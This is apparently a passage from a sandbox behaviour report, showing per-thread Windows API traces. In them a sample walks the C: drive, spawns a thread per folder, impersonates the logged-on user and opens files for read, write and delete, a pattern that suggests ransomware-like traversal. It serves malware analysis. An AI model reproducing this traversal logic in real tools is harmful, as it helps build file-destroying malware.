	[0073.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0073.017] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x84dc8ab2, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84dc8ab2, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0073.017] wcscmp (_String1="Program Files (x86)", _String2=".") returned 1
	[0073.017] wcscmp (_String1="Program Files (x86)", _String2="..") returned 1
	[0073.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2d7bea8
	[0073.017] wcscpy (in: _Dest=0x2d7bea8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.017] wcscat (in: _Dest=0x2d7bea8, _Source="Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0073.018] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0073.018] wcscmp (_String1="ProgramData", _String2=".") returned 1
	[0073.018] wcscmp (_String1="ProgramData", _String2="..") returned 1
	[0073.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0073.018] wcscpy (in: _Dest=0x2d76d40, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.018] wcscat (in: _Dest=0x2d76d40, _Source="ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d76d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0073.019] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0073.019] wcscmp (_String1="Recovery", _String2=".") returned 1
	[0073.019] wcscmp (_String1="Recovery", _String2="..") returned 1
	[0073.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1a) returned 0x2d76f70
	[0073.019] wcscpy (in: _Dest=0x2d76f70, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.019] wcscat (in: _Dest=0x2d76f70, _Source="Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery"
	[0073.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d76f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0073.020] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x21ffac8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0073.020] wcscmp (_String1="swapfile.sys", _String2=".") returned 1
	[0073.020] wcscmp (_String1="swapfile.sys", _String2="..") returned 1
	[0073.020] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0073.020] wcscmp (_String1="System Volume Information", _String2=".") returned 1
	[0073.020] wcscmp (_String1="System Volume Information", _String2="..") returned 1
	[0073.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d734f8
	[0073.020] wcscpy (in: _Dest=0x2d734f8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.020] wcscat (in: _Dest=0x2d734f8, _Source="System Volume Information" | out: _Dest="C:\\System Volume Information") returned="C:\\System Volume Information"
	[0073.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d734f8) returned 1
	[0073.020] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0073.020] wcscmp (_String1="Users", _String2=".") returned 1
	[0073.020] wcscmp (_String1="Users", _String2="..") returned 1
	[0073.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14) returned 0x2d79a80
	[0073.020] wcscpy (in: _Dest=0x2d79a80, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.020] wcscat (in: _Dest=0x2d79a80, _Source="Users" | out: _Dest="C:\\Users") returned="C:\\Users"
	[0073.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d79a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0073.021] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0073.021] wcscmp (_String1="Windows", _String2=".") returned 1
	[0073.021] wcscmp (_String1="Windows", _String2="..") returned 1
	[0073.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d79aa0
	[0073.021] wcscpy (in: _Dest=0x2d79aa0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.021] wcscat (in: _Dest=0x2d79aa0, _Source="Windows" | out: _Dest="C:\\Windows") returned="C:\\Windows"
	[0073.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79aa0) returned 1
	[0073.021] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0073.021] wcscmp (_String1="Windows10Upgrade", _String2=".") returned 1
	[0073.021] wcscmp (_String1="Windows10Upgrade", _String2="..") returned 1
	[0073.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2a) returned 0x2d7bcb0
	[0073.021] wcscpy (in: _Dest=0x2d7bcb0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.021] wcscat (in: _Dest=0x2d7bcb0, _Source="Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0073.021] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0
	[0073.022] FindClose (in: hFindFile=0x2d71080 | out: hFindFile=0x2d71080) returned 1
	[0073.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d849e0) returned 1
	[0073.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d846f8) returned 1
	[0073.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75dd0) returned 1

Thread:
	id = 24
	os_tid = 0xf58

	[0073.024] ImpersonateLoggedOnUser (hToken=0x350) returned 1
	[0073.024] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5
	[0073.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d84698
	[0073.024] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2d84698 | out: lpBuffer="C:\\") returned 0x4
	[0073.024] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0073.024] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84698) returned 1
	[0073.024] RevertToSelf () returned 1

Thread:
	id = 25
	os_tid = 0xf08

	[0073.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x22) returned 0x2d77e70
	[0073.080] wcscpy (in: _Dest=0x2d77e70, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0073.080] wcscat (in: _Dest=0x2d77e70, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\"
	[0073.080] wcscat (in: _Dest=0x2d77e70, _Source="*" | out: _Dest="C:\\$GetCurrent\\*") returned="C:\\$GetCurrent\\*"
	[0073.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d849e0
	[0073.080] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71140
	[0073.082] wcscmp (_String1=".", _String2=".") returned 0
	[0073.082] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.082] wcscmp (_String1="..", _String2=".") returned 1
	[0073.082] wcscmp (_String1="..", _String2="..") returned 0
	[0073.082] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0073.082] wcscmp (_String1="Logs", _String2=".") returned 1
	[0073.082] wcscmp (_String1="Logs", _String2="..") returned 1
	[0073.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x28) returned 0x2d78230
	[0073.082] wcscpy (in: _Dest=0x2d78230, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0073.082] wcscat (in: _Dest=0x2d78230, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\"
	[0073.082] wcscat (in: _Dest=0x2d78230, _Source="Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0073.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d78230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0073.083] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0073.083] wcscmp (_String1="SafeOS", _String2=".") returned 1
	[0073.083] wcscmp (_String1="SafeOS", _String2="..") returned 1
	[0073.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2d7bce8
	[0073.083] wcscpy (in: _Dest=0x2d7bce8, _Source="C:\\$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0073.083] wcscat (in: _Dest=0x2d7bce8, _Source="\\" | out: _Dest="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\"
	[0073.083] wcscat (in: _Dest=0x2d7bce8, _Source="SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0073.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0073.084] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0073.084] FindClose (in: hFindFile=0x2d71140 | out: hFindFile=0x2d71140) returned 1
	[0073.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d849e0) returned 1
	[0073.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e70) returned 1
	[0073.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1

Thread:
	id = 26
	os_tid = 0x51c

	[0073.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77e70
	[0073.084] wcscpy (in: _Dest=0x2d77e70, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0073.084] wcscat (in: _Dest=0x2d77e70, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\"
	[0073.084] wcscat (in: _Dest=0x2d77e70, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*"
	[0073.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d849e0
	[0073.084] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71140
	[0073.085] wcscmp (_String1=".", _String2=".") returned 0
	[0073.085] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.085] wcscmp (_String1="..", _String2=".") returned 1
	[0073.085] wcscmp (_String1="..", _String2="..") returned 0
	[0073.085] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0073.085] wcscmp (_String1="S-1-5-18", _String2=".") returned 1
	[0073.085] wcscmp (_String1="S-1-5-18", _String2="..") returned 1
	[0073.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d71540
	[0073.085] wcscpy (in: _Dest=0x2d71540, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0073.085] wcscat (in: _Dest=0x2d71540, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\"
	[0073.085] wcscat (in: _Dest=0x2d71540, _Source="S-1-5-18" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18"
	[0073.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0073.086] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0073.086] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000", _String2=".") returned 1
	[0073.086] wcscmp (_String1="S-1-5-21-1051304884-625712362-2192934891-1000", _String2="..") returned 1
	[0073.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x2d5a0c0
	[0073.086] wcscpy (in: _Dest=0x2d5a0c0, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0073.086] wcscat (in: _Dest=0x2d5a0c0, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\"
	[0073.086] wcscat (in: _Dest=0x2d5a0c0, _Source="S-1-5-21-1051304884-625712362-2192934891-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000"
	[0073.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5a0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0073.086] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0073.086] FindClose (in: hFindFile=0x2d71140 | out: hFindFile=0x2d71140) returned 1
	[0073.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d849e0) returned 1
	[0073.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e70) returned 1
	[0073.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e10) returned 1

Thread:
	id = 27
	os_tid = 0x4bc

	[0073.091] GetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker")) returned 0x22
	[0073.092] SetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x20) returned 1
	[0073.093] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x354
	[0073.093] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x4c0f980 | out: lpFileSize=0x4c0f980*=0) returned 1
	[0073.093] FlushFileBuffers (hFile=0x354) returned 1
	[0073.095] CloseHandle (hObject=0x354) returned 1
	[0073.095] SetFileAttributesW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x22) returned 1
	[0073.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d64948) returned 1

Thread:
	id = 28
	os_tid = 0xd24

	[0073.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2d7bd20
	[0073.096] wcscpy (in: _Dest=0x2d7bd20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.096] wcscat (in: _Dest=0x2d7bd20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0073.096] wcscat (in: _Dest=0x2d7bd20, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\*") returned="C:\\588bce7c90097ed212\\*"
	[0073.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d7c580
	[0073.096] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71140
	[0073.098] wcscmp (_String1=".", _String2=".") returned 0
	[0073.098] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.098] wcscmp (_String1="..", _String2=".") returned 1
	[0073.098] wcscmp (_String1="..", _String2="..") returned 0
	[0073.098] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1
	[0073.098] wcscmp (_String1="1025", _String2=".") returned 1
	[0073.098] wcscmp (_String1="1025", _String2="..") returned 1
	[0073.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d715c0
